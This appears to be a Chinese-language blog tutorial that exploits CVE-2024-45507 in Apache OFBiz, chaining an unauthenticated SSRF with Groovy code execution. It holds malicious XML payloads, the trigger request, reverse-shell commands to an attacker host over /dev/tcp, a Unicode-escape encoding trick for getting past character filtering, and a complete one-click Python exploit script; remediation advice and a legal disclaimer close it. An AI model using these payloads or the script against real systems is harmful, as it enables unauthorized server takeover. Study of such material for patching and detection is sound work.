【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507) 【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞CVE-2024-45507演示视频如果觉得看文字不够直观完整的操作演示在这里快递不安检直接裸奔OFBiz 零登录远程拿下服务器一、亮点一个 POST 请求不需要账号密码就能让服务器加载你指定的远程文件并执行里面的代码——CVE-2024-45507 就是这么直接。Apache OFBiz 18.12.15 及之前所有版本都受影响。但我第一次复现的时候在反弹 Shell 这一步卡了两天。id命令明明能执行把命令换成bash -i /dev/tcp/IP/PORT 01之后nc 监听一片空白——什么都没收到。排查下来发现问题出在 Groovy 沙箱对特殊字符的过滤上。这篇文章会把我从踩坑到绕过的完整过程拆给你看包括每一步为什么失败、怎么分析的、最终怎么用 UTF-16 编码绕过拿到 Shell。二、漏洞背景Apache OFBiz 是 Apache 基金会下面的开源 ERP 系统采购、销售、库存、财务、制造都包在里面。国内银行、电商、制造业有不少在用——知道它的人不多但它干的活儿还挺关键的。漏洞出在 OFBiz 的 WebTools 模块里。有个接口叫/webtools/control/forgotPassword/StatsSinceStart它接收一个参数statsDecoratorLocation本意是让管理员指定一个统计数据的装饰器文件路径。问题是——开发团队忘了对这个参数做 URL 白名单校验。你传什么它就加载什么本地的、远程的照单全收。光是这样也就算了顶多是个 SSRF。但 OFBiz 解析 XML 的时候支持在 XML 里内嵌 Groovy 脚本——Groovy 是 JVM 上的一门动态语言能直接调用 Java 类库包括Runtime.exec()。SSRF 负责把恶意 XML 文件运进来Groovy 负责把里面的代码拆开执行——两个机制单独存在都没什么凑在一起就出大事了。这就好比你小区门卫不查外卖员的身份随便哪个人穿个外卖马甲就能进。然后你家里还有个不锁的保险箱保险箱里装着服务器的 root 权限——外卖员进小区是前一道口子保险箱没锁是后一道口子两个问题串在一起家底儿就全曝光了。漏洞影响 18.12.15 及之前所有版本官方在 18.12.16 中修了。由于这个接口不需要登录就能访问漏洞公开后立刻被大规模扫描。三、环境搭建Vulhub 已经集成好了这个漏洞环境一行命令gitclone https://github.com/vulhub/vulhub.gitcdvulhub/ofbiz/CVE-2024-45507dockercompose up-d启动后浏览器访问https://你的服务器IP:8443/accounting看到 OFBiz 登录页面说明靶场就绪。两个细节别搞错第一协议是https不是http第二端口是8443不是8080。很多人在这两个地方反复踩坑上去就http://IP:8080浏览器转半天打不开排查一圈才发现压根协议和端口都不对。四、漏洞复现复现分三步构造恶意 XML → 托管文件 → 发送请求触发。我们先从基础命令执行开始确认漏洞存在再往反弹 Shell 走。4.1 创建恶意 XML 文件在攻击机上创建payload.xml?xml version1.0 encodingUTF-8?screensxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlnshttp://ofbiz.apache.org/Widget-Screenxsi:schemaLocationhttp://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsdscreennameStatsDecoratorsectionactionssetvalue${groovy:touch /tmp/success.execute();}//actions/section/screen/screens关键在set value.../这一行。groovy:前缀告诉 OFBiz 的 XML 解析器——引号里不是普通字符串是 Groovy 代码拿去执行。touch /tmp/success.execute()这行 Groovy 代码的意思是在 Shell 里跑touch /tmp/success也就是在/tmp目录下创建一个叫success的空文件。文件创建成功说明命令执行通道是通的。4.2 启动 HTTP 服务托管 XML在攻击机上起一个 HTTP 服务让目标服务器能拉到恶意文件python3-mhttp.server25002注意这个终端窗口别关关了服务就断了。4.3 发送请求触发漏洞向目标发送 POST 请求通过statsDecoratorLocation参数把恶意 XML 的 URL 传过去POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: 目标IP:8443 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Connection: close Cache-Control: max-age0 Content-Type: application/x-www-form-urlencoded Content-Length: 64 statsDecoratorLocationhttp://攻击IP:25002/payload.xml推荐用 Yakit 的 MITM 劫持功能——先访问目标 URL 触发拦截把 GET 改成 POST把上面的数据包内容贴进去就行。发送后进目标容器验证命令是否执行dockerps-adockerexec-it容器ID/bin/bashls/tmp/success输出/tmp/success说明命令执行成功漏洞复现完成。五、GetShell拿下服务器能执行touch /tmp/success只是证明漏洞存在。真正有价值的是利用这个漏洞拿到服务器的 Shell 控制权。这一节是全文核心——网上绝大多数教程止步于id命令我把从失败到成功的每一步拆给你看。5.1 第一次尝试直接写反弹 Shell 命令失败最直观的想法——把payload.xml里的命令直接换成反弹 Shellbash-i/dev/tcp/攻击IP/2500301修改后的 payload.xml?xml version1.0 encodingUTF-8?screensxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlnshttp://ofbiz.apache.org/Widget-Screenxsi:schemaLocationhttp://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsdscreennameStatsDecoratorsectionactionssetvalue${groovy:bash -i /dev/tcp/攻击IP/25003 01.execute();}//actions/section/screen/screens攻击端提前开监听nc-lvp25003发送请求后——监听端纹丝不动什么也没收到。我当时的第一反应是是不是监听端口写错了来回检查了好几遍 IP 和端口确认无误。然后怀疑是不是反弹命令本身有问题在本地试了一遍——命令没问题。最后翻容器日志才发现OFBiz 的 Groovy 引擎在解析表达式时对、、/这些特殊字符做了过滤或转义命令在到达 Shell 之前就被拦下来了。换句话说touch /tmp/success能执行是因为没有特殊字符。反弹 Shell 命令里全是、、/在 Groovy 解析阶段就被截断了——Shell 根本没见过这条命令。5.2 第二次尝试Base64 编码绕过部分成功不稳定既然特殊字符是罪魁祸首那就把命令编码让 Groovy 解析的时候看不到这些字符。先对反弹 Shell 命令做 Base64 编码echo-nbash -i /dev/tcp/攻击IP/25003 01|base64编码结果类似YmFzaCAtaSAJiAvZGV2L3RjcC8...。然后用bash -c配合管道解码执行bash-c{echo,Base64编码串}|{base64,-d}|{bash,-i}这里解释一下这个管道结构的含义——第一步{echo,...}是把 Base64 字符串输出第二步{base64,-d}是解码还原成原始命令第三步{bash,-i}是把解码后的命令交给 bash 以交互模式执行。三个步骤用管道符|串起来数据从左流到右。把它放进 payload.xmlsetvalue${groovy:bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ}|{base64,-d}|{bash,-i}.execute();}/结果监听端偶尔能收到连接但极不稳定——有时连上了有时杳无音信。同样的请求发十次大概能成个两三次。排查发现虽然 Base64 编码解决了和/dev/tcp的问题但{echo,...}|{base64,-d}|{bash,-i}这个结构里仍然有{、}、|这些特殊字符。OFBiz 的 Groovy 沙箱对它们的处理时好时坏——同样的字符有时放过有时拦截说明沙箱的过滤逻辑本身就不一致。这条路能走但不靠谱。5.3 第三次尝试UTF-16 编码成功需要一个能彻底消灭所有特殊字符的方案。UTF-16 编码Unicode 转义序列正好满足——把每个字符转成\uXXXX格式的纯文本字母、数字、符号、空格一视同仁地变成十六进制转义序列。Groovy 引擎在解析字符串时会自动把这些\uXXXX还原为原始字符然后执行。编码过程分步拆解第一步把 Base64 编码后的命令封装成bash -c格式跟 5.2 一样bash-c{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ}|{base64,-d}|{bash,-i}第二步把这条命令逐字符转成 Unicode 转义序列。规则每个字符取它的 Unicode 码点十进制转成 4 位十六进制前面加\u。举个例子字符b的码点是 98十六进制是0062所以写成\u0062。字符a→\u0061。空格码点 32→\u0020。{码点 123→\u007B。|码点 124→\u007C。你可以用在线 Unicode 编码工具完成这一步——把命令贴进去选Unicode 转义序列输出格式。也可以用 Python 一行搞定cmdbash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ}|{base64,-d}|{bash,-i}print(.join(f\\u{ord(c):04x}forcincmd))编码结果看起来就是一大串\uXXXX\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D最终 payload.xml?xml version1.0 encodingUTF-8?screensxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlnshttp://ofbiz.apache.org/Widget-Screenxsi:schemaLocationhttp://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsdscreennameStatsDecoratorsectionactionssetvalue${groovy:\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D.execute();}//actions/section/screen/screens注意UTF-16 编码字符串前后必须有单引号execute()方法调用不能漏。5.4 开启监听并触发攻击端启动 nc 监听nc-lvp25003确保 HTTP 服务还在跑着托管了更新后的 payload.xml然后重新发送 POST 请求POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: 目标IP:8443 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Connection: close Cache-Control: max-age0 Content-Type: application/x-www-form-urlencoded Content-Length: 64 statsDecoratorLocationhttp://攻击IP:25002/payload.xml5.5 验证 Shell回到监听终端看到连接成功提示后跑几条命令确认控制权uname-awhoamils/能正常输出系统信息和目录列表root 权限——服务器已经在你的控制之下了。从 SSRF 到反弹 Shell全链路走通。回过头看这个漏洞的利用链可以总结为三层递进SSRF负责把恶意文件送到服务器门口 →Groovy 脚本引擎负责把文件里的代码拆开执行 →UTF-16 编码负责绕过沙箱对特殊字符的过滤。三层缺一不可每一层解决一个问题组合起来才完成了整条攻击链。六、踩坑与避坑坑1直接反弹 Shell——特殊字符被过滤本来以为把touch /tmp/success直接换成bash -i /dev/tcp/IP/PORT 01就能弹回来结果 nc 监听一片空白。排查了好一会儿翻容器日志才发现——Groovy 引擎在执行前对、、/这些字符做了过滤命令到不了 Shell 层就没了。问题根因是两层解析之间的冲突Groovy 表达式的字符串解析阶段就把特殊字符拦截了后续 Shell 层根本没见过它们。解决方案就是 5.3 节的 UTF-16 编码——把所有字符统一转成\uXXXX格式Groovy 解析时看到的是纯文本还原成原始命令时已经过了过滤环节。就这么简单对知道了就这么简单不知道能卡你两天。坑2SSRF 请求发出去了服务器不回连发送 POST 请求后目标服务器没有任何回连迹象——我在攻击端的 HTTP 服务日志里看不到任何 GET 请求。排查了一圈才发现问题不在目标在攻击端自己的安全组/防火墙——25002 端口的入站规则没开。很多人习惯性地只检查目标服务器的防火墙忘了攻击端也要放行入站流量。毕竟 SSRF 的本质是目标服务器主动连接攻击端对攻击端来说这是入站连接安全组必须放行。解决方案# Linuxiptables-AINPUT-ptcp--dport25002-jACCEPT# 或者直接在云控制台的安全组里加一条入站规则放行 TCP 25002坑3UTF-16 编码后仍然失败——漏掉了空格或换行写脚本生成编码串的时候如果不小心在原始命令前后多留了空格或换行编码结果就会多出\u0020或\u000a导致 bash 解析命令时把多余字符当参数处理反弹失败。解决方案也很简单——编码前先确认命令字符串是干净的cmdbash -c {echo,...}|{base64,-d}|{bash,-i}print(repr(cmd))# 检查前后有没有多余空格或换行另外注意execute()方法调用后面必须跟对括号写成execute()而不是execute。少一对括号Groovy 不会报错但也不会执行排查起来很迷惑——命令看着没问题就是不生效。七、一键利用脚本每次手动发包太慢我把编码、托管、发送三步整合成一个 Python 脚本。改好ATTACKER_IP、TARGET_IP、REVERSE_PORT三个变量直接跑就行。#!/usr/bin/env python3importsubprocessimportbase64importsys ATTACKER_IP192.168.1.100# 你的攻击端 IPTARGET_IP192.168.1.200# 目标服务器 IPHTTP_PORT25002# HTTP 服务端口托管 XMLREVERSE_PORT25003# 反弹 Shell 端口defto_unicode_escape(s):将字符串逐字符转为 Unicode 转义序列return.join(f\\u{ord(c):04x}forcins)# 构造反弹命令 → Base64 → bash -c 封装 → UTF-16 编码rev_shellfbash -i /dev/tcp/{ATTACKER_IP}/{REVERSE_PORT}01b64_cmdbase64.b64encode(rev_shell.encode()).decode()full_cmdfbash -c {{echo,{b64_cmd}}}|{{base64,-d}}|{{bash,-i}}unicode_cmdto_unicode_escape(full_cmd)payloadf?xml version1.0 encodingUTF-8? screens xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlnshttp://ofbiz.apache.org/Widget-Screen xsi:schemaLocationhttp://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd screen nameStatsDecorator section actions set value${{groovy:{unicode_cmd}.execute();}}/ /actions /section /screen /screenswithopen(payload.xml,w)asf:f.write(payload)print([] payload.xml 已生成)subprocess.Popen([sys.executable,-m,http.server,str(HTTP_PORT)],stdoutsubprocess.DEVNULL,stderrsubprocess.DEVNULL)print(f[] HTTP 服务已启动: http://{ATTACKER_IP}:{HTTP_PORT})importrequestsimporturllib3 urllib3.disable_warnings()target_urlfhttps://{TARGET_IP}:8443/webtools/control/forgotPassword/StatsSinceStartdata{statsDecoratorLocation:fhttp://{ATTACKER_IP}:{HTTP_PORT}/payload.xml}print(f[] 发送 SSRF 请求...)rrequests.post(target_url,datadata,verifyFalse,timeout10)print(f[] 响应状态码:{r.status_code})print(f[*] 请在另一终端执行: nc -lvp{REVERSE_PORT})用法# 终端1先开监听nc-lvp25003# 终端2运行脚本python3 exploit.py脚本跑完会自动完成 XML 生成、HTTP 托管、SSRF 请求三步。回到终端1等着 Shell 弹回来。八、修复建议升级版本将 Apache OFBiz 升级到 18.12.16 或更高版本这是最彻底的修复方式接口加认证对/webtools/control/forgotPassword/StatsSinceStart接口增加身份认证禁止未登录用户访问URL 白名单对statsDecoratorLocation参数实施严格的 URL 白名单仅允许加载本地或受信路径下的文件禁用外部 XML 加载配置 XML 解析器禁止加载外部实体和远程资源切断 SSRF 攻击链Groovy 沙箱加固在生产环境禁用 Groovy 脚本的动态执行或对脚本内容实施严格的静态审查九、写在最后这个漏洞的本质是两个看似无害的机制被串了起来——SSRF 负责送货Groovy 负责拆包。单独看哪一边都觉得问题不大但组合在一起就是高危 RCE。开发时如果只关注单点安全而忽略了组件之间的交互面漏洞就会从这些夹缝里钻出来。漏洞的利用思路跟专栏里之前写过的Apache HugeGraph CVE-2024-27348有相似之处——都是应用内置了强大的脚本执行能力但对输入的校验做得不够。如果你对这种脚本引擎降级攻击的模式感兴趣可以翻翻那篇。如果你是第一次做漏洞复现建议先完整跟做一遍再试着改命令、换端口慢慢就摸到规律了。复现过程中有问题直接评论区留言我看到了会回。安全声明本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏关键在于是谁在用、用来做什么。